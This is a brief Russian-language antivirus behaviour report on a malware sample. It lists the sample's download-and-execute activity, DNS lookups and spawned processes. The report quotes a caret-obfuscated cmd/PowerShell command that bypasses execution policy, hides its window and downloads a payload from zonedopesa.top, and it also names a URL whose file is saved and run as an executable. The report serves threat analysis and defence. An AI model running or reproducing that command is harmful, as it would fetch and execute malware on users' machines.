Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "poWe^RS^H^eL^L.^eX^E^ ^-exE^c^Ut^i^onPO^Li^C^Y ^BYP^A^SS -n^oPr^OFILe -wi^NdOwS^TYl^E hi^d^dEN (nE^W-^O^bJEc^T ^SYSTe^m^.nEt.^wEb^clieNt).d^OwnL^Oa^DFIle('http://www.zonedopesa.to...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "poWe^RS^H^eL^L.^eX^E^ ^-exE^c^Ut^i^onPO^Li^C^Y ^BYP^A^SS -n^oPr^OFILe -wi^NdOwS^TYl^E hi^d^dEN (nE^W-^O^bJEc^T ^SYSTe^m^.nEt.^wEb^clieNt).d^OwnL^Oa^DFIle('http://www.zonedopesa.to...' (со скрытым окном)
